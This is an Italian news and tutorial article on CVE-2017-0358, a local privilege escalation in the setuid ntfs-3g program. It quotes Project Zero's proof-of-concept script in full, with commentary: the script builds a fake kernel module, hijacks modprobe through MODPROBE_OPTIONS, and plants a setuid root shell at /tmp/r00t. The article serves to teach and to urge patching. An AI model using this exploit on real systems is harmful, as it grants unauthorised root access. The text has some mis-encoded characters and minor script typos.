PI Debug/ NTFS-3G, privilegi scalati

Su GNU/Linux Ŕ possibile montare partizioni Windows usando il modulo FUSE NTFS-3G. Ma un bug, che permette l'esecuzione di un terminale con privilegi di root, trasforma un semplice utente in amministratore

Per quanto un utente GNU/Linux voglia mantenere le distanze dalle tecnologie basate su Windows, prima o poi finirà sempre per doverci fare i conti. Ciascuno di noi ha un amico che usa Windows e che utilizza delle pendrive per passarci dei file importanti. Uno dei file system storici è il FAT, ma il file system NTFS è ormai molto diffuso sia per hard disk pendrive di dimensioni superiori a 32 GB. ╚ probabilmente per questo motivo che uno degli strumenti provenienti dall'universo Microsoft più popolari nel mondo GNU/Linux è NTFS-3G, il modulo FUSE che permette l'accesso ai dispositivi di memorizzazione formattati con NTFS. Il meccanismo di FUSE è molto intelligente, perché lavorando nello userspace invece che nel kernelspace permette il montaggio di file system anche agli utenti comuni e non solo all'utente root. Si tratta, quindi, di un sistema più sicuro, e anche più flessibile visto che si possono inventare file system virtuali di qualsiasi tipo. Tuttavia, il modulo fuse del kernel Linux deve essere caricato.

Un'azione inutile
Sui sistemi dotati di NTFS-3G viene fornito un programma, solitamente /bin/ntfs-3g, che permette l'utilizzo di dispositivi formattati con l'NTFS. E siccome per montarli sul proprio sistema è necessario che FUSE sia abilitato, il programma provvede a caricare tale modulo di sistema chiamando il comando modprobe (lo stesso, per capirci, che si usa per caricare qualsiasi altro modulo di sistema come quelli per i driver delle periferiche).
Il fatto è che questa operazione è nella maggioranza dei casi inutile: oggi come oggi, tutte le distribuzioni che supportano NTFS-3G hanno il modulo FUSE già caricato nel kernel. Insomma, sarebbe sufficiente controllare se il modulo sia caricato e, in caso contrario, rifiutarsi di avviare il montaggio della partizione NT. Ma il vero problema è che non soltanto questa operazione è inutile, ma anche pericolosa. Proprio perché non era previsto che questi strumenti venissero usati in questo modo, non era garantito che funzionassero correttamente. Ed infatti c'è un piccolo intoppo nel meccanismo: il programma che si occupa di NTFS-3G viene eseguito con privilegi di utente semplice, ma se questi vuole a sua volta caricare il modulo fuse nel kernel usando il comando modprobe, avrà bisogno di privilegi di amministrazione. Quindi, il programma usa setuid, il meccanismo che permette a specifici programmi considerati "affidabili" di poter eseguire azioni di root anche quando avviati con i privilegi di utenti normali. Il comando modprobe non è progettato per essere eseguito da setuid, ma soltanto dal vero utente root, ed utilizza una variabile d'ambiente per memorizzare delle opzioni da eseguire assieme al comando. Ciò significa che un malintenzionato potrebbe modificare tale variabile nell'ambiente dell'utente "semplice", e poi avviare ntfs-3g forzando il caricamento del modulo fuse con modprobe, andando quindi ad eseguire ciò che vuole con privilegi di root (cioè quelli concessi a modprobe grazie a setuid). ╚ quindi possibile ottenere di fatto i privilegi di amministrazione, però ricordiamo che non è un problema di modprobe: è un problema di ntfs-3g, che utilizza modprobe in modo improprio.


La prima versione dell'exploit presentato dai ricercatori di Project Zero

L'exploit
Per capire meglio come si possa sfruttare questo bug, vediamo un semplice exploit presentato dai ricercatori di Project Zero:

#!/bin/bash
echo "[*] Gathering environment info..."
cwd="$(pwd)"
un="$(uname -r)"
dlm="$(pwd)/lib/modules"
dkf="$(pwd)/kernel/fs"

Prima di tutto il pirata ha bisogno di conoscere l'ambiente in cui si sta eseguendo lo script, in
particolare per quanto riguarda la versione attuale del kernel e la cartella in cui è aperto il terminale al momento.

echo "[*] Creating kernel hijack directories..."
mkdir -p "${dlm}"
mkdir -p "${dkf}"
echo "[*] Forging symlinks..."
ln -sf "${cwd}" "${dlm}/${un}"
ln -sf "${cwd}" "${dkf}/fuse"
ln -sf cve_2017_0358.ko fuse.ko

Conoscendo queste informazioni, diventa possibile creare dei link simbolici al modulo fuse, così da caricare non l'originale ma il link nel kernel usando modprobe.

echo "[*] Pulling in deps... "
echo "[*] Building kernel module... "
cat << 'EOF' > cve_2017_0358.c
#include <linux/module.h>

Sfruttando cat è possibile ora scrivere un file sul disco contenente un programma C che rappresenterà un finto modulo da caricare nel kernel per permettere al pirata di eseguire il codice che vuole.

MODULE_DESCRIPTION("PoC for CVE-2017-0358 from Google Project Zero");
int init_module(void) {
printk(KERN_INFO "[!] Exploited CVE-2017-0358 successfully; may want to patch your system!\n");

Se si è arrivati a questo punto, è ovvio che l'attacco abbia funzionato, quindi il sistema è vulnerabile e si avvisa l'utente della necessità di aggiornare.

char *envp[] = { "HOME=/tmp", NULL };
char *argv[] = { "/bin/sh", "-c", "/bin/cp /bin/sh /tmp/r00t; /bin/chmod u+s /tmp/r00t", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
char *argvv[] = { "/bin/sh", "-c", "/sbin/rmmod cve_2017_0358", NULL };
call_usermodehelper(argv[0], argvv, envp, UMH_WAIT_EXEC);
return 0;
}

╚ possibile preparare una serie di stringhe che contengono il necessario per lanciare un terminale /bin/sh. Infatti, l'eseguibile di questo terminale viene copiato nella posizione /tmp/r00t e gli viene impostato il suid (chmod u+s), che garantisce all'utente attuale i privilegi del proprietario di tale file (che è ovviamente root).

void cleanup_module(void) {
printk(KERN_INFO "[*] CVE-2017-0358 exploit unloading...\n");
}
EOF

Il modulo per l'exploit si chiude con una funzione che segnala la disattivazione del modulo del kernel.

cat << 'EOF' > Makefile
obj-m += cve_2017_0358.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
EOF

╚ ovviamente necessario un Makefile per compilare agevolmente il modulo del kernel appena scritto.

make 1>/dev/null 2>/dev/null || echo "[-] FAILED: your need make / build tools"
cp "/lib/modules/${un}/modules.dep.bin". || echo "[-] FAILED: linux-image location non-default?"

La compilazione viene avviata proprio con make, inviando l'output a /dev/null, così non riempie il terminale.

MODPROBE_OPTIONS="-v -d ${cwd}" ntfs-3g /dev/null /dev/null 1>/dev/null 2>/dev/null

Ora si può impostare la variabile d'ambiente modbprobe_options, che contiene le opzioni con cui lanciare modprobe. Da notare che questa variabile è stata impostata nell'ambiente attuale, cioè quello dell'utente "semplice", che è quello che sta eseguendo lo script bash. La variabile, tuttavia, permette di dirottare l'esecuzione di modprobe sul modulo di sistema che è appena stato scritto (modificando la cartella in cui cercare i moduli con l'opzione -d), invece che sul vero e proprio modulo fuse "originale" quando il programma ntfs-3g lo richiede.

/tmp/r00t -c 'whoamì | egrep -q 'root' && echo "[+] SUCCESS: You have root. Don't be evil:)"
/tmp/r00t
echo << 'EOF'

Infine, lo script verifica se sia possibile accedere al terminale /tmp/r00t con privilegi di amministrazione, e poi lancia proprio questo terminale offrendo al pirata una riga di comando eseguita come utente root (che è il proprietario del programma).
La soluzione
Il bug è presente nelle versioni di ntfs-3g fornite nella maggioranza delle principali distro GNU/Linux, da Debian ad Ubuntu ma anche Gentoo, Red Hat, SuSE e Mageia. Al momento in cui scriviamo il bug è già stato corretto, perché è stato scoperto dai ricercatori del Project Zero di Google, i quali segnalano il bug in via riservata agli sviluppatori del software e lo rendono pubblico soltanto 90 giorni dopo, proprio per dare ai programmatori il tempo di realizzare una patch prima che l'exploit diventi di dominio pubblico. E tre mesi sono stati più che sufficienti, visto che gli sviluppatori di NTFS-3G hanno provveduto immediatamente a correggere il programma togliendo l'inutile e pericolosa azione. Ovviamente, è fondamentale aggiornare immediatamente il proprio sistema operativo almeno con i "security updates".


Il bug colpisce molte distro, ma è già stato corretto nelle ultime versioni

AVVERTENZE
Le informazioni contenute in questo articolo sono state pubblicate a scopo puramente didattico, per consentire ai lettori di conoscere e imparare a difendersi dai pericoli a cui sono esposti navigando in Internet o in generale utilizzando applicazioni affette da vulnerabilità.
L'editore e la redazione non si assumono responsabilità alcuna circa l'utilizzo improprio di tali informazioni, che possa avere lo scopo di violare la legge o di arrecare danni a terzi. Per cui, eventuali sanzioni economiche e penali saranno esclusivamente a carico dei trasgressori.
5 Commenti alla Notizia PI Debug/ NTFS-3G, privilegi scalati
Ordina